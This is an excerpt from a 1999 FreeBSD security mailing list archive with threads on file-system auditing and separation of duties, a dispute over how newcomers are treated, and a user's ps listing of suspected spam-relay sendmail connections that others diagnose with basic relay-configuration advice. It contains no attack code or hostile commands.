180/2466/8192 mbuf clusters in use (current/peak/max) 6104 Kbytes allocated to network (11% in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 7: 9:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 5DA2515429 for ; Tue, 21 Sep 1999 07:09:16 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA24283; Tue, 21 Sep 1999 07:09:15 -0700 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda24281; Tue Sep 21 07:09:08 1999 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id HAA06629; Tue, 21 Sep 1999 07:09:04 -0700 (PDT) Message-Id: <199909211409.HAA06629@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdcx6625; Tue Sep 21 07:08:08 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: "Rodney W. Grimes" Cc: imp@village.org (Warner Losh), wes@softweyr.com (Wes Peters), brett@lariat.org (Brett Glass), security@FreeBSD.ORG Subject: Auditing (was Re: BPF on in 3.3-RC GENERIC kernel) In-reply-to: Your message of "Fri, 17 Sep 1999 23:24:07 PDT." <199909180624.XAA50611@gndrsh.dnsmgr.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Sep 1999 07:08:08 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199909180624.XAA50611@gndrsh.dnsmgr.net>, "Rodney W. Grimes" writes : > > In message <37E32365.B9F9573B@softweyr.com> Wes Peters writes: > > : Worked for me. A well-written, accurate analogy too. > > > > I'll have to try again later... I'd be very interested in this. I > > personally think that schg is useful against accidental mistakes, but > > flawed in implementation. > > > > Although some of that may be due to inperfections in /etc/rc and > > friends. > > Once you read the article you will see just how flawed ``schg'' is. It > only attempts to prevent action, it does not send out any alarms. > > The propasal that jdp has on a socket sort of notification facility for > all file system modifications is a long was ahead of what could ever > be done with schg, as that tool would give us the ability to real time > audit even attempts at cracking on the system. ACF2 in the mainframe > world, and the VMS AUDIT tools are good examples of what can be done > with this type of feature. Real time alarms if someone even _tries_ > to modify a schg file is what is missing... someone turning off > schg on a file is another thing missing... or accessing the disk > through the raw device to reset the bit, etc, etc... If I may add, in my former life we even monitored the actions users were allowed to do, e.g. delete their own files, on MVS systems using RACF, ACF2 or or even turned on the SMF facility to monitor which files were created, opened, deleted, etc. The reason for this had less to do with security and more to do with users complaining "my file just disappeared" and proving that they or a person who borrowed their account [bad idea] were the ones who had actually removed a file. The other things we did (at one shop with RACF) were to audit all actions performed by any accounts with the operations (read/write any object) or RACF special (alter the security profile of any object) flags set; and audit all actions performed against files defined as APF authorized (security sensitive) libraries -- APF authorization is loosely akin to setuid root, though the analogy easily breaks. Finally the people doing the auditing, security administration, and operations could not have all three attributes assigned to their accounts. According to an IBM course I too approximately 20 years ago, each of the auditor, operations, and security staff would watch each other. The reason IBM gave for this separation was that it was harder for three persons to conspire to undermine security than it was for two to do so. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 8:31:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.uscreativetypes.com (ns1.uscreativetypes.com [199.45.183.33]) by hub.freebsd.org (Postfix) with ESMTP id 0A1D914E21; Tue, 21 Sep 1999 08:31:13 -0700 (PDT) (envelope-from lusr@ns1.uscreativetypes.com) Received: from localhost (lusr@localhost) by ns1.uscreativetypes.com (8.9.3/8.8.8) with SMTP id JAA00440; Tue, 21 Sep 1999 09:27:21 GMT (envelope-from lusr@ns1.uscreativetypes.com) Date: Tue, 21 Sep 1999 09:27:20 +0000 (GMT) From: The Big Loser To: Brad Knowles Cc: Wes Peters , Luigi Rizzo , Dag-Erling Smorgrav , jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I wanted to briefly reply to this thread before it (hopefully) dies. As far as I know, this is THE REAL WORLD and not a class and none of the contributors to these lists have the time or energy to foster a users fragile self esteem. I myself am a (relative) newbie, but that doesn't mean I need a sugar-coated response to every newbie question out there. The point is that DES took the time to present the necessary information. Who cares if his presentation was a little rough; in my experience, you are lucky to even get such a detailed answer without a price tag attached. I believe that the first thing any newbie needs to do is grow a thicker skin; if you can admit that you are in the dark, then maybe you won't gripe when the light provided isn't just what you expected. Instead you'll show what seems to be a dying aspect of humanity: Gratitude. Thanks DES and the rest who answered the original question. Some of us do appreciate everything we get. > > At 3:32 PM -0600 1999/9/20, Wes Peters wrote: > > > Granted, the answer DES gave was a little cryptic. > > Cryptic. Hmm. That's not exactly the word I'd choose, but I'm > willing to leave it at that for now. > > > He was also pointing > > out some of the crucial operational knowlege you need to SUCCESSFULLY > > operate an IRC server. > > I disagree. I read what he wrote, and while those might be the > necessary steps to run the world's largest IRC server, or the world's > most secure, I think we can all agree that not everyone in the world > needs to be a Superman in order to have an IRC server that doesn't > spontaneously crash. > > Yes, some of those steps were necessary (most importantly, the > one you outline below), but not all of them. > > > Let me paraphrase the simple answer: > > > > "You're running out of mbuf clusters, which causes FreeBSD panic. It is > > quite simple to expand the number of mbuf clusters in your system. Go > > search for the phrase 'mbuf clusters' in the FreeBSD handbook or the > > -questions archives if you don't already know how to." > > This is precisely the answer that should have been given in the > first place. > > > Regardless of why he did it, what DES did was drive just one more > wedge between the FreeBSD "haves", and the folks who'd like to learn > more about what I still feel is the best overall implementation of > Unix for servers (and arguably for desktop workstations). In the > process, he's destroying a lot of good work by people such as > yourself who would presumably attempt to close that knowledge gap in > some way other than slamming the questioner at each and every step. > > I've known a lot of University professors like that. Regardless > of how much they know, they are unable or unwilling to communicate > that information in a manner which is useful and non-abusive to > anyone not already operating on or very near their level. This makes > life extremely (and unnecessarily) unpleasant for all the students > who are forced to endure them, and the grad students who have to work > even more closely with them. Many simply choose to go elsewhere. > > We'll never know how many Einsteins or Mother Theresas we'll > never have, because they never got the chance to properly discover > that side of themselves. > > > It seems highly likely that ridiculing those who not only took the time > > to respond to your question, but also to GIVE YOU THE SYSTEM IN THE FIRST > > PLACE is NOT a good strategy for getting more questions answered in the > > future. > > In the end we all die. What will we be remembered for? Who will > remember us that way? > > How many people will remember all the significant contributions > that DES has made to the history of FreeBSD and the good of freely > available OSes around the world, and how many will remember him for > precisely the sort of thing that got this whole thread started? > > Of the people who remember him each way, how many other people > will they pass on that memory to? How far will those passed on > memories keeping getting passed on? > > > Myself, I'd like very much to remember DES as a key contributor > to what is still (for the moment, anyway) my favourite server OS, and > I would hope that one day I might actually eliminate enough of my > ignorance that I could possibly be capable of comprehending some of > the stuff that he might have to share. > > However, at the moment, this seems rather unlikely. > > > Having a sense of humor will certainly help. > > It's very hard to recognize humour when it's so well camoflaged as vitriol. > > -- > These are my opinions -- not to be taken as official Skynet policy > ____________________________________________________________________ > |o| Brad Knowles, Belgacom Skynet NV/SA |o| > |o| Systems Architect, News & FTP Admin Rue Col. Bourg, 124 |o| > |o| Phone/Fax: +32-2-706.11.11/12.49 B-1140 Brussels |o| > |o| http://www.skynet.be Belgium |o| > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > Unix is like a wigwam -- no Gates, no Windows, and an Apache inside. > Unix is very user-friendly. It's just picky who its friends are. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 11:43:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from inbox.org (inbox.org [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id 12F0A15447 for ; Tue, 21 Sep 1999 11:43:14 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by inbox.org (8.9.3/8.9.3) with ESMTP id UAA05266 for ; Sun, 19 Sep 1999 20:31:08 -0400 (EDT) Date: Sun, 19 Sep 1999 20:31:08 -0400 (EDT) From: "Mr. K." X-Sender: bsd@inbox.org To: security@freebsd.org Subject: hackers? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've just recently upgraded to sendmail 8.9, as my host was being used as a mail relay. I think I am now under some kind of attack. When I do a ps -x I get the following listings: 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com [171.216.255.181] child wait (sendmail) 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com [171.216.255.181] cmd read (sendmail) 3829 ?? I 0:00.01 sendmail: server ABD4F010.ipt.aol.com [171.212.240.16] child wait (sendmail) 3832 ?? I 0:00.02 sendmail: server ABD4F010.ipt.aol.com [171.212.240.16] cmd read (sendmail) 3839 ?? I 0:00.01 sendmail: server 98AC79DB.ipt.aol.com [152.172.121.219] child wait (sendmail) 3843 ?? I 0:00.02 sendmail: server 98AC79DB.ipt.aol.com [152.172.121.219] cmd read (sendmail) 3855 ?? I 0:00.01 sendmail: server ABD8452B.ipt.aol.com [171.216.69.43] child wait (sendmail) 3856 ?? I 0:00.02 sendmail: server ABD8452B.ipt.aol.com [171.216.69.43] cmd read (sendmail) 3858 ?? I 0:00.01 sendmail: server 98CB05B2.ipt.aol.com [152.203.5.178] child wait (sendmail) 3859 ?? I 0:00.02 sendmail: server 98CB05B2.ipt.aol.com [152.203.5.178] cmd read (sendmail) 3863 ?? I 0:00.01 sendmail: server ABD57D59.ipt.aol.com [171.213.125.89] child wait (sendmail) 3866 ?? I 0:00.02 sendmail: server ABD57D59.ipt.aol.com [171.213.125.89] cmd read (sendmail) 3899 ?? I 0:00.01 sendmail: server dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] chi 3900 ?? I 0:00.02 sendmail: server dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] cmd 3919 ?? I 0:00.01 sendmail: server 98A6ACF8.ipt.aol.com [152.166.172.248] child wait (sendmail) 3921 ?? I 0:00.02 sendmail: server 98A6ACF8.ipt.aol.com [152.166.172.248] cmd read (sendmail) 3933 ?? I 0:00.01 sendmail: server ABD8F59A.ipt.aol.com [171.216.245.154] child wait (sendmail) 3934 ?? I 0:00.02 sendmail: server ABD8F59A.ipt.aol.com [171.216.245.154] cmd read (sendmail) 3965 ?? I 0:00.01 sendmail: server ABD1158F.ipt.aol.com [171.209.21.143] child wait (sendmail) 3968 ?? I 0:00.02 sendmail: server ABD1158F.ipt.aol.com [171.209.21.143] cmd read (sendmail) 3979 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net [207.90.108.189] child wait (sendmail) 3980 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net [207.90.108.189] cmd read (sendmail) 3982 ?? I 0:00.01 sendmail: server 98AD84A0.ipt.aol.com [152.173.132.160] child wait (sendmail) 3983 ?? I 0:00.02 sendmail: server 98AD84A0.ipt.aol.com [152.173.132.160] cmd read (sendmail) 4046 ?? I 0:00.01 sendmail: server ABD306AA.ipt.aol.com [171.211.6.170] child wait (sendmail) 4047 ?? I 0:00.02 sendmail: server ABD306AA.ipt.aol.com [171.211.6.170] cmd read (sendmail) 4256 ?? I 0:00.01 sendmail: server 98AEC8C1.ipt.aol.com [152.174.200.193] child wait (sendmail) 4258 ?? I 0:00.02 sendmail: server 98AEC8C1.ipt.aol.com [152.174.200.193] cmd read (sendmail) 4274 ?? I 0:00.01 sendmail: server 98CE2C1D.ipt.aol.com [152.206.44.29] child wait (sendmail) 4277 ?? I 0:00.02 sendmail: server 98CE2C1D.ipt.aol.com [152.206.44.29] cmd read (sendmail) 4287 ?? I 0:00.01 sendmail: server ABD857C8.ipt.aol.com [171.216.87.200] child wait (sendmail) 4288 ?? I 0:00.02 sendmail: server ABD857C8.ipt.aol.com [171.216.87.200] cmd read (sendmail) 4328 ?? I 0:00.01 sendmail: server 98C8972D.ipt.aol.com [152.200.151.45] child wait (sendmail) 4329 ?? I 0:00.02 sendmail: server 98C8972D.ipt.aol.com [152.200.151.45] cmd read (sendmail) 4361 ?? I 0:00.01 sendmail: server 98CC072E.ipt.aol.com [152.204.7.46] child wait (sendmail) 4362 ?? I 0:00.02 sendmail: server 98CC072E.ipt.aol.com [152.204.7.46] cmd read (sendmail) 4364 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] child wait (sendmail) 4367 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] cmd read (sendmail) 4369 ?? I 0:00.01 sendmail: server 98CD50D8.ipt.aol.com [152.205.80.216] child wait (sendmail) 4370 ?? I 0:00.02 sendmail: server 98CD50D8.ipt.aol.com [152.205.80.216] cmd read (sendmail) 4471 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] child wait (sendmail) 4472 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] child wait (sendmail) 4473 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] child wait (sendmail) 4474 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] cmd read (sendmail) 4475 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] cmd read (sendmail) 4476 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com [171.208.40.164] cmd read (sendmail) 4507 ?? I 0:00.01 sendmail: server ABD86D5D.ipt.aol.com [171.216.109.93] child wait (sendmail) 4508 ?? I 0:00.02 sendmail: server ABD86D5D.ipt.aol.com [171.216.109.93] cmd read (sendmail) 4510 ?? I 0:00.01 sendmail: server ABD96F8E.ipt.aol.com [171.217.111.142] child wait (sendmail) 4511 ?? I 0:00.02 sendmail: server ABD96F8E.ipt.aol.com [171.217.111.142] cmd read (sendmail) 4525 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com [152.169.232.146] child wait (sendmail) 4526 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com [152.169.232.146] child wait (sendmail) 4527 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com [152.169.232.146] cmd read (sendmail) 4528 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com [152.169.232.146] cmd read (sendmail) 4529 ?? I 0:00.01 sendmail: server ABD96E5D.ipt.aol.com [171.217.110.93] child wait (sendmail) 4530 ?? I 0:00.02 sendmail: server ABD96E5D.ipt.aol.com [171.217.110.93] cmd read (sendmail) 4564 ?? I 0:00.01 sendmail: server dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] chi 4565 ?? I 0:00.02 sendmail: server dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] cmd 4602 ?? I 0:00.01 sendmail: server ABD6CDDE.ipt.aol.com [171.214.205.222] child wait (sendmail) 4603 ?? I 0:00.02 sendmail: server ABD6CDDE.ipt.aol.com [171.214.205.222] cmd read (sendmail) 4637 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] child wait (sendmail) 4638 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] cmd read (sendmail) 4646 ?? I 0:00.01 sendmail: server ABD78E3B.ipt.aol.com [171.215.142.59] child wait (sendmail) 4647 ?? I 0:00.02 sendmail: server ABD78E3B.ipt.aol.com [171.215.142.59] cmd read (sendmail) 4652 ?? I 0:00.01 sendmail: server 98CD01D6.ipt.aol.com [152.205.1.214] child wait (sendmail) 4653 ?? I 0:00.02 sendmail: server 98CD01D6.ipt.aol.com [152.205.1.214] cmd read (sendmail) 4666 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com [152.205.11.74] child wait (sendmail) 4667 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com [152.205.11.74] child wait (sendmail) 4671 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com [152.205.11.74] cmd read (sendmail) 4672 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com [152.205.11.74] cmd read (sendmail) 4695 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com [24.6.84.63] child wait (sendmail 4696 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com [24.6.84.63] child wait (sendmail 4697 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com [24.6.84.63] cmd read (sendmail) 4698 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com [24.6.84.63] cmd read (sendmail) 4700 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] child wait (sendmail) 4701 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com [152.166.138.234] cmd read (sendmail) 4709 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com [152.205.79.42] child wait (sendmail) 4711 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com [152.205.79.42] cmd read (sendmail) 4801 ?? I 0:00.01 sendmail: server 98A72163.ipt.aol.com [152.167.33.99] child wait (sendmail) 4802 ?? I 0:00.02 sendmail: server 98A72163.ipt.aol.com [152.167.33.99] cmd read (sendmail) 4830 ?? I 0:00.01 sendmail: server ABD605BD.ipt.aol.com [171.214.5.189] child wait (sendmail) 4831 ?? I 0:00.02 sendmail: server ABD605BD.ipt.aol.com [171.214.5.189] cmd read (sendmail) 4839 ?? I 0:00.01 sendmail: server cc353189-a.owml1.md.home.com [24.3.39.239] child wait (sendmail 4840 ?? I 0:00.02 sendmail: server cc353189-a.owml1.md.home.com [24.3.39.239] cmd read (sendmail) 4845 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] child wait (sendmail) 4846 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] child wait (sendmail) 4847 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] child wait (sendmail) 4848 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] child wait (sendmail) 4849 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] cmd read (sendmail) 4850 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] cmd read (sendmail) 4851 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] cmd read (sendmail) 4852 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] cmd read (sendmail) 4860 ?? S 0:00.59 /usr/local/sbin/sshd (sshd1) 4896 ?? I 0:00.01 sendmail: server 98CD742E.ipt.aol.com [152.205.116.46] child wait (sendmail) 4897 ?? I 0:00.02 sendmail: server 98CD742E.ipt.aol.com [152.205.116.46] cmd read (sendmail) 4904 ?? I 0:00.01 sendmail: server 98ADEA9D.ipt.aol.com [152.173.234.157] child wait (sendmail) 4905 ?? I 0:00.02 sendmail: server 98ADEA9D.ipt.aol.com [152.173.234.157] cmd read (sendmail) 4906 ?? I 0:00.01 sendmail: server 98A9848F.ipt.aol.com [152.169.132.143] child wait (sendmail) 4907 ?? I 0:00.02 sendmail: server 98A9848F.ipt.aol.com [152.169.132.143] cmd read (sendmail) 4918 ?? I 0:00.01 sendmail: server ABD4D9A4.ipt.aol.com [171.212.217.164] child wait (sendmail) 4919 ?? I 0:00.02 sendmail: server ABD4D9A4.ipt.aol.com [171.212.217.164] cmd read (sendmail) 5034 ?? I 0:00.01 sendmail: server host92.iline.com [207.30.115.92] child wait (sendmail) 5036 ?? I 0:00.02 sendmail: server host92.iline.com [207.30.115.92] cmd read (sendmail) 5055 ?? I 0:00.01 sendmail: server 98CB1D1B.ipt.aol.com [152.203.29.27] child wait (sendmail) 5057 ?? I 0:00.02 sendmail: server 98CB1D1B.ipt.aol.com [152.203.29.27] cmd read (sendmail) 5089 ?? I 0:00.01 sendmail: server ABD9AEE0.ipt.aol.com [171.217.174.224] child wait (sendmail) 5090 ?? I 0:00.02 sendmail: server ABD9AEE0.ipt.aol.com [171.217.174.224] cmd read (sendmail) 5091 ?? I 0:00.01 sendmail: server 98A7BAF4.ipt.aol.com [152.167.186.244] child wait (sendmail) 5092 ?? I 0:00.02 sendmail: server 98A7BAF4.ipt.aol.com [152.167.186.244] cmd read (sendmail) 5097 ?? I 0:00.01 sendmail: server 98A73695.ipt.aol.com [152.167.54.149] child wait (sendmail) 5098 ?? I 0:00.02 sendmail: server 98A73695.ipt.aol.com [152.167.54.149] cmd read (sendmail) 5114 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com [152.205.79.42] child wait (sendmail) 5115 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com [152.205.79.42] cmd read (sendmail) 5116 ?? I 0:00.01 sendmail: server 98AA2318.ipt.aol.com [152.170.35.24] child wait (sendmail) 5117 ?? I 0:00.02 sendmail: server 98AA2318.ipt.aol.com [152.170.35.24] cmd read (sendmail) 5137 ?? I 0:00.01 sendmail: server ABD15CDE.ipt.aol.com [171.209.92.222] child wait (sendmail) 5138 ?? I 0:00.02 sendmail: server ABD15CDE.ipt.aol.com [171.209.92.222] cmd read (sendmail) 5149 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] child wait (sendmail) 5150 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com [152.201.146.201] cmd read (sendmail) 5158 ?? I 0:00.01 sendmail: server p359.gnt.com [204.49.91.167] child wait (sendmail) 5159 ?? I 0:00.02 sendmail: server p359.gnt.com [204.49.91.167] cmd read (sendmail) 5172 ?? I 0:00.01 sendmail: server pm4-249.dialup.flinet.com [208.14.24.249] child wait (sendmail) 5173 ?? I 0:00.02 sendmail: server pm4-249.dialup.flinet.com [208.14.24.249] cmd read (sendmail) Is there anything I can do to stop this? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 11:52:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id CFEC015B8D for ; Tue, 21 Sep 1999 11:52:08 -0700 (PDT) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id OAA17649; Tue, 21 Sep 1999 14:52:06 -0400 (EDT) Message-Id: <3.0.5.32.19990921145047.013e24b0@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Tue, 21 Sep 1999 14:50:47 -0400 To: "Mr. K." , security@FreeBSD.ORG From: Mike Tancsa Subject: Re: hackers? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:31 PM 9/19/99 -0400, Mr. K. wrote: >I've just recently upgraded to sendmail 8.9, as my host was being used as >a mail relay. I think I am now under some kind of attack. When I do a ps >-x I get the following listings: > They (the spammers) are probably still trying to relay off you. Make sure your server is indeed setup to block unauthorized third party relays, and then contact AOL and inform them one of their users is trying to abuse your resources. Look through your maillogs and verify they are indeed being rejected. ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 11:53:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from tasam.com (tasam.com [206.161.83.22]) by hub.freebsd.org (Postfix) with ESMTP id 8E29615727 for ; Tue, 21 Sep 1999 11:53:30 -0700 (PDT) (envelope-from freebsd.list@bug.tasam.com) Received: from bug (hc6526b25.dhcp.vt.edu [198.82.107.37]) by tasam.com (8.9.3/8.9.3) with SMTP id OAA53973; Tue, 21 Sep 1999 14:53:19 -0400 (EDT) (envelope-from freebsd.list@bug.tasam.com) Message-ID: <001501bf0462$94adfdc0$256b52c6@tasam.com> From: "Joe Gleason" To: "Mr. K." , References: Subject: Re: hackers? Date: Tue, 21 Sep 1999 14:52:42 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I would suspect spaming through your system. Run mailq and see what it says. http://www.sendmail.org/ has lots of info about configuring sendmail to deny such relaying.... Also, you might want to look in /var/spool/mqueue and open a few files to see what is actually occering and figure out why your server is agreeing to relay it. Joe Gleason Tasam ----- Original Message ----- From: Mr. K. To: Sent: Sunday, September 19, 1999 20:31 Subject: hackers? > I've just recently upgraded to sendmail 8.9, as my host was being used as > a mail relay. I think I am now under some kind of attack. When I do a ps > -x I get the following listings: > > 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com > [171.216.255.181] child wait (sendmail) > 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com > [171.216.255.181] cmd read (sendmail) > 3829 ?? I 0:00.01 sendmail: server ABD4F010.ipt.aol.com > [171.212.240.16] child wait (sendmail) > 3832 ?? I 0:00.02 sendmail: server ABD4F010.ipt.aol.com > [171.212.240.16] cmd read (sendmail) > 3839 ?? I 0:00.01 sendmail: server 98AC79DB.ipt.aol.com > [152.172.121.219] child wait (sendmail) > 3843 ?? I 0:00.02 sendmail: server 98AC79DB.ipt.aol.com > [152.172.121.219] cmd read (sendmail) > 3855 ?? I 0:00.01 sendmail: server ABD8452B.ipt.aol.com > [171.216.69.43] child wait (sendmail) > 3856 ?? I 0:00.02 sendmail: server ABD8452B.ipt.aol.com > [171.216.69.43] cmd read (sendmail) > 3858 ?? I 0:00.01 sendmail: server 98CB05B2.ipt.aol.com > [152.203.5.178] child wait (sendmail) > 3859 ?? I 0:00.02 sendmail: server 98CB05B2.ipt.aol.com > [152.203.5.178] cmd read (sendmail) > 3863 ?? I 0:00.01 sendmail: server ABD57D59.ipt.aol.com > [171.213.125.89] child wait (sendmail) > 3866 ?? I 0:00.02 sendmail: server ABD57D59.ipt.aol.com > [171.213.125.89] cmd read (sendmail) > 3899 ?? I 0:00.01 sendmail: server > dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] chi > 3900 ?? I 0:00.02 sendmail: server > dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] cmd > 3919 ?? I 0:00.01 sendmail: server 98A6ACF8.ipt.aol.com > [152.166.172.248] child wait (sendmail) > 3921 ?? I 0:00.02 sendmail: server 98A6ACF8.ipt.aol.com > [152.166.172.248] cmd read (sendmail) > 3933 ?? I 0:00.01 sendmail: server ABD8F59A.ipt.aol.com > [171.216.245.154] child wait (sendmail) > 3934 ?? I 0:00.02 sendmail: server ABD8F59A.ipt.aol.com > [171.216.245.154] cmd read (sendmail) > 3965 ?? I 0:00.01 sendmail: server ABD1158F.ipt.aol.com > [171.209.21.143] child wait (sendmail) > 3968 ?? I 0:00.02 sendmail: server ABD1158F.ipt.aol.com > [171.209.21.143] cmd read (sendmail) > 3979 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net > [207.90.108.189] child wait (sendmail) > 3980 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net > [207.90.108.189] cmd read (sendmail) > 3982 ?? I 0:00.01 sendmail: server 98AD84A0.ipt.aol.com > [152.173.132.160] child wait (sendmail) > 3983 ?? I 0:00.02 sendmail: server 98AD84A0.ipt.aol.com > [152.173.132.160] cmd read (sendmail) > 4046 ?? I 0:00.01 sendmail: server ABD306AA.ipt.aol.com > [171.211.6.170] child wait (sendmail) > 4047 ?? I 0:00.02 sendmail: server ABD306AA.ipt.aol.com > [171.211.6.170] cmd read (sendmail) > 4256 ?? I 0:00.01 sendmail: server 98AEC8C1.ipt.aol.com > [152.174.200.193] child wait (sendmail) > 4258 ?? I 0:00.02 sendmail: server 98AEC8C1.ipt.aol.com > [152.174.200.193] cmd read (sendmail) > 4274 ?? I 0:00.01 sendmail: server 98CE2C1D.ipt.aol.com > [152.206.44.29] child wait (sendmail) > 4277 ?? I 0:00.02 sendmail: server 98CE2C1D.ipt.aol.com > [152.206.44.29] cmd read (sendmail) > 4287 ?? I 0:00.01 